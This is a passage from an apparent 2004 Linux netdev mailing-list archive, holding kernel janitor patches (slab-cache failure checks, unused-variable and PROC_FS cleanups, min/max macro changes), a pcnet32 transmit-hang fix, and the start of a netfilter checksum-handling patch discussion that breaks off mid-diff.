linux-263-kj1-rddunlap/net/ipv4/ipmr.c 2004-02-18 14:41:20.000000000 -0800 @@ -1892,6 +1892,9 @@ void __init ip_mr_init(void) sizeof(struct mfc_cache), 0, SLAB_HWCACHE_ALIGN, NULL, NULL); + if (!mrt_cachep) + panic("cannot allocate ip_mrt_cache"); + init_timer(&ipmr_expire_timer); ipmr_expire_timer.function=ipmr_expire_process; register_netdevice_notifier(&ip_mr_notifier); _ -- ~Randy From rddunlap@osdl.org Mon Feb 23 13:58:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 13:58:40 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NLwIKO006994 for ; Mon, 23 Feb 2004 13:58:18 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1NLwDE00513; Mon, 23 Feb 2004 13:58:13 -0800 Date: Mon, 23 Feb 2004 13:43:19 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@redhat.com Subject: [janitor] skge: remove unused var. Message-Id: <20040223134319.04a532c5.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3523 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.3-current. -- ~Randy From: Stephen Hemminger Get rid of unused local variable that causes warning diff -Nru a/drivers/net/sk98lin/skge.c b/drivers/net/sk98lin/skge.c linux-263-kj1-rddunlap/drivers/net/sk98lin/skge.c | 1 - 1 files changed, 1 deletion(-) diff -puN drivers/net/sk98lin/skge.c~net_skge_unused drivers/net/sk98lin/skge.c --- linux-263-kj1/drivers/net/sk98lin/skge.c~net_skge_unused 2004-02-18 14:46:07.000000000 -0800 +++ linux-263-kj1-rddunlap/drivers/net/sk98lin/skge.c 2004-02-18 14:46:07.000000000 -0800 @@ -294,7 +294,6 @@ static int __init skge_probe (void) SK_BOOL BootStringCount = SK_FALSE; int retval; #ifdef CONFIG_PROC_FS - int proc_root_initialized = 0; struct proc_dir_entry *pProcFile; #endif _ From rddunlap@osdl.org Mon Feb 23 13:58:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 13:58:41 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NLwHKO006990 for ; Mon, 23 Feb 2004 13:58:17 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1NLwCE00497; Mon, 23 Feb 2004 13:58:12 -0800 Date: Mon, 23 Feb 2004 13:37:11 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: davem@redhat.com Subject: [janitor] ipv6 route: handle kmem_cache_create() failure Message-Id: <20040223133711.11bf677a.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3526 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.3-current. From: (Walter Harms) linux-263-kj1-rddunlap/net/ipv6/route.c | 3 +++ 1 files changed, 3 insertions(+) diff -puN net/ipv6/route.c~ipv6_route_kmemcc net/ipv6/route.c --- linux-263-kj1/net/ipv6/route.c~ipv6_route_kmemcc 2004-02-18 14:41:42.000000000 -0800 +++ linux-263-kj1-rddunlap/net/ipv6/route.c 2004-02-18 14:41:42.000000000 -0800 @@ -1987,6 +1987,9 @@ void __init ip6_route_init(void) sizeof(struct rt6_info), 0, SLAB_HWCACHE_ALIGN, NULL, NULL); + if (!ip6_dst_ops.kmem_cachep) + panic("cannot create ip6_dst_cache"); + fib6_init(); #ifdef CONFIG_PROC_FS p = proc_net_create("ipv6_route", 0, rt6_proc_info); _ -- ~Randy From rddunlap@osdl.org Mon Feb 23 13:58:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 13:58:38 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NLwIKO006996 for ; Mon, 23 Feb 2004 13:58:19 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1NLwDE00522; Mon, 23 Feb 2004 13:58:13 -0800 Date: Mon, 23 Feb 2004 13:47:04 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@redhat.com Subject: [janitor] strip: remove warnings when !PROC_FS Message-Id: <20040223134704.568fec18.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3519 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.3-current. -- ~Randy From: Luiz Fernando Capitulino hi guys, When !CONFIG_PROC_FS, I'm getting this warning: drivers/net/wireless/strip.c:1169: warning: `strip_seq_fops' defined but not used This patch fixes that. diff -X dontdiff -Nru linux-2.6.2-rc2-bk2/drivers/net/wireless/strip.c linux-2.6.2-rc2-bk2~/drivers/net/wireless/strip.c linux-263-kj1-rddunlap/drivers/net/wireless/strip.c | 2 ++ 1 files changed, 2 insertions(+) diff -puN drivers/net/wireless/strip.c~net_strip_noprocfs drivers/net/wireless/strip.c --- linux-263-kj1/drivers/net/wireless/strip.c~net_strip_noprocfs 2004-02-18 14:46:34.000000000 -0800 +++ linux-263-kj1-rddunlap/drivers/net/wireless/strip.c 2004-02-18 14:46:34.000000000 -0800 @@ -951,6 +951,7 @@ static void strip_unlock(struct strip *s * ascii representation of the number plus 9 charactes for the " seconds" * and the null character. */ +#ifdef CONFIG_PROC_FS static char *time_delta(char buffer[], long time) { time -= jiffies; @@ -1171,6 +1172,7 @@ static struct file_operations strip_seq_ .llseek = seq_lseek, .release = seq_release, }; +#endif _ From rddunlap@osdl.org Mon Feb 23 13:58:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 13:58:41 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NLwHKO006989 for ; Mon, 23 Feb 2004 13:58:17 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1NLwCE00493; Mon, 23 Feb 2004 13:58:12 -0800 Date: Mon, 23 Feb 2004 13:37:02 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: davem@redhat.com Subject: [janitor] ipv6 fib: handle kmem_cache_create() failure Message-Id: <20040223133702.34ba5b05.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3520 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.3-current. From: (Walter Harms) linux-263-kj1-rddunlap/net/ipv6/ip6_fib.c | 2 ++ 1 files changed, 2 insertions(+) diff -puN net/ipv6/ip6_fib.c~ipv6_fib_kmemcc net/ipv6/ip6_fib.c --- linux-263-kj1/net/ipv6/ip6_fib.c~ipv6_fib_kmemcc 2004-02-18 14:41:32.000000000 -0800 +++ linux-263-kj1-rddunlap/net/ipv6/ip6_fib.c 2004-02-18 14:41:32.000000000 -0800 @@ -1239,6 +1239,8 @@ void __init fib6_init(void) sizeof(struct fib6_node), 0, SLAB_HWCACHE_ALIGN, NULL, NULL); + if (!fib6_node_kmem) + panic("cannot create fib6_nodes cache"); } #ifdef MODULE _ -- ~Randy From rddunlap@osdl.org Mon Feb 23 13:58:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 13:58:37 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NLwIKO006993 for ; Mon, 23 Feb 2004 13:58:18 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1NLwDE00509; Mon, 23 Feb 2004 13:58:13 -0800 Date: Mon, 23 Feb 2004 13:42:07 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: davem@redhat.com Subject: [janitor] pppoe: remove unneeded ifdef/endif Message-Id: <20040223134207.656a5213.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3515 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev hi, Please apply to 2.6.3-current. -- ~Randy From: Luiz Fernando Capitulino hi all, this #ifdef/#endif is not needed: diff -X dontdiff -Nru linux-2.6.2-rc2-bk2/drivers/net/pppoe.c linux-2.6.2-rc2-bk2~/drivers/net/pppoe.c linux-263-kj1-rddunlap/drivers/net/pppoe.c | 2 -- 1 files changed, 2 deletions(-) diff -puN drivers/net/pppoe.c~net_pppoe_rmproc drivers/net/pppoe.c --- linux-263-kj1/drivers/net/pppoe.c~net_pppoe_rmproc 2004-02-18 14:45:57.000000000 -0800 +++ linux-263-kj1-rddunlap/drivers/net/pppoe.c 2004-02-18 14:45:57.000000000 -0800 @@ -1146,9 +1146,7 @@ static void __exit pppoe_exit(void) dev_remove_pack(&pppoes_ptype); dev_remove_pack(&pppoed_ptype); unregister_netdevice_notifier(&pppoe_notifier); -#ifdef CONFIG_PROC_FS remove_proc_entry("pppoe", proc_net); -#endif } module_init(pppoe_init); _ From rddunlap@osdl.org Mon Feb 23 13:58:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 13:58:38 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NLwGKO006985 for ; Mon, 23 Feb 2004 13:58:17 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1NLwBE00475; Mon, 23 Feb 2004 13:58:11 -0800 Date: Mon, 23 Feb 2004 13:31:41 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@redhat.com Subject: [janitor] ibmtr: use kernel min/max Message-Id: <20040223133141.16c6c2e4.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3521 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.3-current. -- ~Randy From: Michael Veeck Hi! Patch (against 2.6.3-rc1) removes unnecessary min/max macros and changes calls to use kernel.h macros instead. Feedback always welcome Michael diff -Naur linux-2.6.2.org/drivers/net/tokenring/ibmtr.c linux-2.6.2.new/drivers/net/tokenring/ibmtr.c linux-263-kj1-rddunlap/drivers/net/tokenring/ibmtr.c | 24 ++++++++----------- 1 files changed, 11 insertions(+), 13 deletions(-) diff -puN drivers/net/tokenring/ibmtr.c~net_ibmtr_minmax drivers/net/tokenring/ibmtr.c --- linux-263-kj1/drivers/net/tokenring/ibmtr.c~net_ibmtr_minmax 2004-02-18 14:45:11.000000000 -0800 +++ linux-263-kj1-rddunlap/drivers/net/tokenring/ibmtr.c 2004-02-18 14:45:11.000000000 -0800 @@ -136,8 +136,6 @@ in the event that chatty debug messages #define DPRINTK(format, args...) printk("%s: " format, dev->name , ## args) #define DPRINTD(format, args...) DummyCall("%s: " format, dev->name , ## args) -#define MIN(X, Y) ((X) < (Y) ? (X) : (Y)) -#define MAX(X, Y) ((X) > (Y) ? (X) : (Y)) /* version and credits */ #ifndef PCMCIA @@ -730,47 +728,47 @@ static int __devinit ibmtr_probe1(struct */ if (!ti->page_mask) { ti->avail_shared_ram= - MIN(ti->mapped_ram_size,ti->avail_shared_ram); + min(ti->mapped_ram_size,ti->avail_shared_ram); } switch (ti->avail_shared_ram) { case 16: /* 8KB shared RAM */ - ti->dhb_size4mb = MIN(ti->dhb_size4mb, 2048); + ti->dhb_size4mb = min(ti->dhb_size4mb, (unsigned short)2048); ti->rbuf_len4 = 1032; ti->rbuf_cnt4=2; - ti->dhb_size16mb = MIN(ti->dhb_size16mb, 2048); + ti->dhb_size16mb = min(ti->dhb_size16mb, (unsigned short)2048); ti->rbuf_len16 = 1032; ti->rbuf_cnt16=2; break; case 32: /* 16KB shared RAM */ - ti->dhb_size4mb = MIN(ti->dhb_size4mb, 4464); + ti->dhb_size4mb = min(ti->dhb_size4mb, (unsigned short)4464); ti->rbuf_len4 = 1032; ti->rbuf_cnt4=4; - ti->dhb_size16mb = MIN(ti->dhb_size16mb, 4096); + ti->dhb_size16mb = min(ti->dhb_size16mb, (unsigned short)4096); ti->rbuf_len16 = 1032; /*1024 usable */ ti->rbuf_cnt16=4; break; case 64: /* 32KB shared RAM */ - ti->dhb_size4mb = MIN(ti->dhb_size4mb, 4464); + ti->dhb_size4mb = min(ti->dhb_size4mb, (unsigned short)4464); ti->rbuf_len4 = 1032; ti->rbuf_cnt4=6; - ti->dhb_size16mb = MIN(ti->dhb_size16mb, 10240); + ti->dhb_size16mb = min(ti->dhb_size16mb, (unsigned short)10240); ti->rbuf_len16 = 1032; ti->rbuf_cnt16=6; break; case 127: /* 63.5KB shared RAM */ - ti->dhb_size4mb = MIN(ti->dhb_size4mb, 4464); + ti->dhb_size4mb = min(ti->dhb_size4mb, (unsigned short)4464); ti->rbuf_len4 = 1032; ti->rbuf_cnt4=6; - ti->dhb_size16mb = MIN(ti->dhb_size16mb, 16384); + ti->dhb_size16mb = min(ti->dhb_size16mb, (unsigned short)16384); ti->rbuf_len16 = 1032; ti->rbuf_cnt16=16; break; case 128: /* 64KB shared RAM */ - ti->dhb_size4mb = MIN(ti->dhb_size4mb, 4464); + ti->dhb_size4mb = min(ti->dhb_size4mb, (unsigned short)4464); ti->rbuf_len4 = 1032; ti->rbuf_cnt4=6; - ti->dhb_size16mb = MIN(ti->dhb_size16mb, 17960); + ti->dhb_size16mb = min(ti->dhb_size16mb, (unsigned short)17960); ti->rbuf_len16 = 1032; ti->rbuf_cnt16=16; break; _ From rddunlap@osdl.org Mon Feb 23 13:58:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 13:58:38 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NLwHKO006991 for ; Mon, 23 Feb 2004 13:58:18 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1NLwCE00501; Mon, 23 Feb 2004 13:58:12 -0800 Date: Mon, 23 Feb 2004 13:39:26 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@redhat.com Subject: [janitor] ne: eliminate unused var. warning Message-Id: <20040223133926.4301ef22.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3518 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.3-current. -- ~Randy From: Stephen Hemminger On Mon, 16 Feb 2004 15:36:21 -0800 "Randy.Dunlap" wrote: > On Mon, 9 Feb 2004 15:02:17 -0800 Stephen Hemminger wrote: > > | Get rid of unused variable warning. > | > | diff -Nru a/drivers/net/ne.c b/drivers/net/ne.c > | --- a/drivers/net/ne.c Mon Feb 9 14:23:27 2004 > | +++ b/drivers/net/ne.c Mon Feb 9 14:23:27 2004 > | @@ -165,7 +165,6 @@ > | static int __init do_ne_probe(struct net_device *dev) > | { > | unsigned int base_addr = dev->base_addr; > | - int irq = dev->irq; > | > | SET_MODULE_OWNER(dev); > | > > is used 18 lines later #ifndef MODULE. diff -Nru a/drivers/net/ne.c b/drivers/net/ne.c linux-263-kj1-rddunlap/drivers/net/ne.c | 6 ++++-- 1 files changed, 4 insertions(+), 2 deletions(-) diff -puN drivers/net/ne.c~net_ne_unused2 drivers/net/ne.c --- linux-263-kj1/drivers/net/ne.c~net_ne_unused2 2004-02-18 14:45:33.000000000 -0800 +++ linux-263-kj1-rddunlap/drivers/net/ne.c 2004-02-18 14:45:33.000000000 -0800 @@ -165,7 +165,9 @@ static void ne_block_output(struct net_d static int __init do_ne_probe(struct net_device *dev) { unsigned int base_addr = dev->base_addr; - int irq = dev->irq; +#ifndef MODULE + int orig_irq = dev->irq; +#endif SET_MODULE_OWNER(dev); @@ -183,7 +185,7 @@ static int __init do_ne_probe(struct net /* Last resort. The semi-risky ISA auto-probe. */ for (base_addr = 0; netcard_portlist[base_addr] != 0; base_addr++) { int ioaddr = netcard_portlist[base_addr]; - dev->irq = irq; + dev->irq = orig_irq; if (ne_probe1(dev, ioaddr) == 0) return 0; } _ From rddunlap@osdl.org Mon Feb 23 13:58:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 13:58:40 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NLwIKO006992 for ; Mon, 23 Feb 2004 13:58:18 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1NLwDE00505; Mon, 23 Feb 2004 13:58:13 -0800 Date: Mon, 23 Feb 2004 13:40:50 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: davem@redhat.com Subject: [janitor] pppoe: handle !PROC_FS Message-Id: <20040223134050.43d604d3.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3525 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.3-current. -- ~Randy From: Luiz Fernando Capitulino Hi all, here is the version 23.7 with Francois tips, actually I'm not testing against (err < 0), because it is not necessary. diff -Nru linux-2.6.2/drivers/net/pppoe.c linux-2.6.2~/drivers/net/pppoe.c linux-263-kj1-rddunlap/drivers/net/pppoe.c | 34 +++++++++++++++++------------ 1 files changed, 20 insertions(+), 14 deletions(-) diff -puN drivers/net/pppoe.c~net_pppoe_noprocfs2 drivers/net/pppoe.c --- linux-263-kj1/drivers/net/pppoe.c~net_pppoe_noprocfs2 2004-02-18 14:45:48.000000000 -0800 +++ linux-263-kj1-rddunlap/drivers/net/pppoe.c 2004-02-18 14:45:48.000000000 -0800 @@ -1076,6 +1076,20 @@ static struct file_operations pppoe_seq_ .llseek = seq_lseek, .release = seq_release, }; + +static int __init pppoe_proc_init(void) +{ + struct proc_dir_entry *p; + + p = create_proc_entry("pppoe", S_IRUGO, proc_net); + if (!p) + return -ENOMEM; + + p->proc_fops = &pppoe_seq_fops; + return 0; +} +#else /* CONFIG_PROC_FS */ +static inline int pppoe_proc_init(void) { return 0; } #endif /* CONFIG_PROC_FS */ /* ->ioctl are set at pppox_create */ @@ -1112,26 +1126,18 @@ static int __init pppoe_init(void) if (err) goto out; -#ifdef CONFIG_PROC_FS -{ - struct proc_dir_entry *p = create_proc_entry("pppoe", S_IRUGO, - proc_net); - err = -ENOMEM; - if (!p) - goto out_unregister; + + err = pppoe_proc_init(); + if (err) { + unregister_pppox_proto(PX_PROTO_OE); + goto out; + } - p->proc_fops = &pppoe_seq_fops; - err = 0; -} -#endif /* CONFIG_PROC_FS */ dev_add_pack(&pppoes_ptype); dev_add_pack(&pppoed_ptype); register_netdevice_notifier(&pppoe_notifier); out: return err; -out_unregister: - unregister_pppox_proto(PX_PROTO_OE); - goto out; } static void __exit pppoe_exit(void) _ From brazilnut@us.ibm.com Mon Feb 23 14:13:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 14:13:35 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NMDKKO011732 for ; Mon, 23 Feb 2004 14:13:20 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1NMDCSL673818; Mon, 23 Feb 2004 17:13:12 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1NMDBmn200960; Mon, 23 Feb 2004 15:13:11 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1NMC6418719; Mon, 23 Feb 2004 14:12:06 -0800 From: Don Fry Message-Id: <200402232212.i1NMC6418719@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.4.25] pcnet32.c avoid transmit hang for 79C791 To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Mon, 23 Feb 2004 14:12:06 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3527 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev The pcnet32 driver will hang after a few frames (<30) with the 79C971 (and probably the 79C972 though I don't have the hardware to prove it). By interrupt slightly more frequently the hang will not occur. This has been broken since before 2.4.20. --- linux-2.4.25/drivers/net/loop.pcnet32.c Mon Feb 23 11:05:56 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Mon Feb 23 13:56:29 2004 @@ -1405,11 +1405,12 @@ status = 0x8300; entry = (lp->cur_tx - lp->dirty_tx) & TX_RING_MOD_MASK; if ((lp->ltint) && - ((entry == TX_RING_SIZE/2) || + ((entry == TX_RING_SIZE/3) || + (entry == (TX_RING_SIZE*2)/3) || (entry >= TX_RING_SIZE-2))) { /* Enable Successful-TxDone interrupt if we have - * 1/2 of, or nearly all of, our ring buffer Tx'd + * 1/3, 2/3 or nearly all of, our ring buffer Tx'd * but not yet cleaned up. Thus, most of the time, * we will not enable Successful-TxDone interrupts. */ -- Don Fry brazilnut@us.ibm.com From jmorris@redhat.com Mon Feb 23 14:19:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 14:19:20 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NMJ1KO012145 for ; Mon, 23 Feb 2004 14:19:02 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1NMIjb12186; Mon, 23 Feb 2004 17:18:45 -0500 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1NMIii11257; Mon, 23 Feb 2004 17:18:44 -0500 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i1NMIh03011396; Mon, 23 Feb 2004 17:18:43 -0500 Date: Mon, 23 Feb 2004 17:19:03 -0500 (EST) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: "David S. Miller" cc: mika.penttila@kolumbus.fi, Harald Welte , , Stephen Smalley Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook In-Reply-To: <20040218172441.2eb117a7.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3528 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev On Wed, 18 Feb 2004, David S. Miller wrote: > Let us look at some of the other users of skb_checksum_help(). The one in dev_queue_xmit() > and the IPSEC encapsulator xfrm drivers are doing so just to plug up a short lived race where > a route lookup points to a non-IPSEC checksumming hardware path, but we end up in the IPSEC > path or to a device which does not support hw checksumming. > > One could argue that what we could do in this case is just drop the packet and let the route > relookup on retransmit get things right. This does not seem to be the correct approach. If you drop packets in the ipsec cases at least, the retransmits just keep feeding packets back in with hardware checksumming set. I've included the entire patch so far below (which pushes the checksum handling further up into Netfilter) for reference. No data will flow on e.g. an AH connection with this patch. include/linux/netdevice.h | 1 include/linux/netfilter.h | 2 + include/linux/netfilter_ipv4.h | 11 ++++++++ include/linux/netfilter_ipv4/ip_nat_helper.h | 3 +- include/linux/netfilter_ipv4/ip_nat_protocol.h | 2 - include/linux/skbuff.h | 6 ++++ net/core/dev.c | 33 +++---------------------- net/core/netfilter.c | 30 ++++++++++++++++------ net/ipv4/ah4.c | 4 +-- net/ipv4/esp4.c | 6 ++-- net/ipv4/ipcomp.c | 4 +-- net/ipv4/netfilter/ip_fw_compat_redir.c | 5 +++ net/ipv4/netfilter/ip_nat_core.c | 12 ++++----- net/ipv4/netfilter/ip_nat_helper.c | 13 ++++++++- net/ipv4/netfilter/ip_nat_proto_icmp.c | 3 +- net/ipv4/netfilter/ip_nat_proto_tcp.c | 3 +- net/ipv4/netfilter/ip_nat_proto_udp.c | 6 +++- net/ipv4/netfilter/ip_nat_proto_unknown.c | 4 +-- net/ipv4/netfilter/ip_nat_snmp_basic.c | 5 +++ net/ipv4/netfilter/ipt_ECN.c | 10 ++++++- net/ipv4/netfilter/ipt_REJECT.c | 2 + net/ipv4/netfilter/ipt_TCPMSS.c | 1 net/ipv6/ah6.c | 4 +-- net/ipv6/esp6.c | 6 ++-- net/ipv6/ipcomp6.c | 4 +-- 25 files changed, 109 insertions(+), 71 deletions(-) - James -- James Morris diff -urN -X dontdiff linux-2.6.3-mm3.o/include/linux/netdevice.h linux-2.6.3-mm3.w/include/linux/netdevice.h --- linux-2.6.3-mm3.o/include/linux/netdevice.h 2004-02-23 10:52:58.000000000 -0500 +++ linux-2.6.3-mm3.w/include/linux/netdevice.h 2004-02-23 15:09:42.000000000 -0500 @@ -929,7 +929,6 @@ extern unsigned long netdev_fc_xoff; extern atomic_t netdev_dropping; extern int netdev_set_master(struct net_device *dev, struct net_device *master); -extern struct sk_buff * skb_checksum_help(struct sk_buff *skb); #ifdef CONFIG_NET_FASTROUTE extern int netdev_fastroute; extern int netdev_fastroute_obstacles; diff -urN -X dontdiff linux-2.6.3-mm3.o/include/linux/netfilter.h linux-2.6.3-mm3.w/include/linux/netfilter.h --- linux-2.6.3-mm3.o/include/linux/netfilter.h 2003-09-27 20:50:20.000000000 -0400 +++ linux-2.6.3-mm3.w/include/linux/netfilter.h 2004-02-23 15:09:42.000000000 -0500 @@ -159,6 +159,8 @@ extern void nf_dump_skb(int pf, struct sk_buff *skb); #endif +struct sk_buff *nf_skb_checksum_help(struct sk_buff *skb); + /* FIXME: Before cache is ever used, this must be implemented for real. */ extern void nf_invalidate_cache(int pf); diff -urN -X dontdiff linux-2.6.3-mm3.o/include/linux/netfilter_ipv4/ip_nat_helper.h linux-2.6.3-mm3.w/include/linux/netfilter_ipv4/ip_nat_helper.h --- 